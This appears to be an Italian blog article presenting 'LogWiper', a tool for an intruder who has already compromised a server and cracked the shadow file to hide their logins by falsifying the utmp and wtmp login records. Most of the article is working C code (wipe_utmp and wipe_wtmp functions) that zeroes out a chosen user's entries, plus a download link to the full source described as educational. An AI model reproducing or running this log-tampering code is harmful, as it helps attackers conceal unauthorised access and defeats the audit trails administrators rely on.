logwiper-accessi

LogWiper: falsificare il log degli accessi

Indice dei contenuti

neverloggedin

Tra gli obiettivi principali di un Hacker, c’è quello di poter accedere in maniera arbitraria in un sistema precedentemente attaccato.

 
La sua presenza però, viene generalmente rivelata dalla modifica di file, librerie di funzioni, o più semplicemente dall’installazione di backdoor.

In questo scenario, il modo più furtivo per collegarsi al server, è quello di utilizzare le credenziali di autenticazione di un utente privilegiato. A seguito del primo accesso e della conseguente scalata ad utente amministratore, un Hacker, senza alterare il sistema con sniffer e keylogger o avvalendosi di particolari escamotage, può ottenere la password craccando il file “shadow”.

Oggigiorno, esistono servizi di “cloud cracking” che mettono a disposizione migliaia di macchine per il calcolo distribuito, e consentono di fare un brute force di chiavi a 9 caratteri in meno di 2 settimane. L’immediato problema di questa tecnica, e quindi la questione che approfondiremo nell’articolo, è che tale tipo di accesso venga tracciato.

In qualunque momento, infatti, è possibile conoscere la lista degli utenti collegati al server.

logclean1

Il bersaglio dell’Hacker a questo punto, è quello di falsificare le informazioni contenute nei registri dei login, come ad esempio:

  • utmp: dove sono memorizzate informazioni su chi sta usando attualmente il sistema;
  • wtmp: registro dei login e logout degli utenti che hanno utilizzato il sistema.

Entrambi i file sono in formato binario, e non possono essere modificati con un semplice editor di testo, in quanto il loro contenuto risulterebbe illegibile:

logclean2

Per editarli, utilizzeremo la struttura “utmp”:

struct utmp {
short ut_type;        /* type of login */
pid_t ut_pid;         /* pid of login process */
char ut_line[UT_LINESIZE];    /* device name of tty - "/dev/" */
char ut_id[4];        /* init id or abbrev. ttyname */
char ut_user[UT_NAMESIZE];    /* user name */
char ut_host[UT_HOSTSIZE];    /* hostname for remote login */
struct exit_status ut_exit;  /* The exit status of a process
marked as DEAD_PROCESS. */
long ut_session;     /* session ID, used for windowing*/
struct timeval ut_tv;        /* time entry was made.  */
int32_t ut_addr_v6[4];       /* IP address of remote host.  */
char pad[20];        /* Reserved for future use.  */
};

Ecco un esempio di codice che può essere usato per falsificare il log degli utenti connessi al sistema, correlato da uno screenshot dimostrativo:

[sociallocker id=”7227″]

void wipe_utmp(char *username, char *tty)
{
        int             fd1;
        struct utmp     ut;

        if ( (fd1 = open(_PATH_UTMP, O_RDWR)) < 0 ) {
                err_sys("ERROR: Opening %s\n", _PATH_UTMP);
        }

        while ( read(fd1, &ut, sizeof(ut)) > 0) {
                if ( !strncmp(ut.ut_name, username, strlen(username)) ){

                        if (!tty || (tty && !strncmp(ut.ut_line, tty, strlen(tty)) ) ) {

                                bzero((char *) &ut, sizeof(ut));

                                if (lseek(fd1, (int) -sizeof(ut), SEEK_CUR) == EXIT_FAILURE){
                                        close(fd1);
                                        err_sys("lseek error");
                                }

                                if (write(fd1, &ut, sizeof(ut)) == EXIT_FAILURE){
                                        close(fd1);
                                        err_sys("write error");
                                }
                        }
                }
        }
        printf("UTMP: Cleaned!\n");
}

[/sociallocker]

logclean3

Con questa funzione, che ingloba una routine che gestisce la data di login e logout utente, potremo editare anche “wtmp”:

[sociallocker id=”7227″]

void wipe_wtmp(char *username, char *tty, char *data)
{
        int             fd1;
        struct utmp     ut;

        if ( (fd1 = open(WTMP_FILE, O_RDWR)) < 0 ) {
                fprintf(stderr, "ERROR: Opening %s\n", WTMP_FILE);
                return;
        }

        time_t curtime;
        struct tm *loctime;

        char *mesi[]={"Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"};
        char *giorni[]={"Sun", "Mon","Tue","Wed","Thu","Fri","Sat"};
        char buffer[100];

        while ( (read (fd1, &ut, sizeof(ut))) > 0) {

                curtime=ut.ut_tv.tv_sec;
                loctime = localtime (&curtime);

                memset(buffer,'\0', sizeof(buffer));

                snprintf (buffer,sizeof(buffer),"%s %s %2d %02d:%02d",giorni[loctime->tm_wday],mesi[loctime->tm_mon],loctime->tm_mday,loctime->tm_hour,loctime->tm_min);

                if (!strncmp(ut.ut_name, username, strlen(username)))
                        if (!tty || (tty && !strncmp(ut.ut_line, tty, strlen(tty)) && !strncmp(data,buffer,strlen(buffer))) ) {


                                printf("WTMP: Cleaned!\n");
                                bzero((char *) &ut, sizeof(ut));
                                lseek(fd1, (long) -(sizeof(ut)), SEEK_CUR);
                                write(fd1, &ut, sizeof(ut));

                                break;
                        }
        }

        lseek(fd1, (long) -(sizeof(ut) * 2), SEEK_CUR);
        close(fd1);
}

[/sociallocker]

logclean4

Il codice sorgente completo, fornito a scopo didattico e rilasciato con licenza GNU GPLv3, è disponibile qui:

[sociallocker id=”7227″]

Download

[/sociallocker]

CONDIVIDI SUI SOCIAL

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

18 − 10 =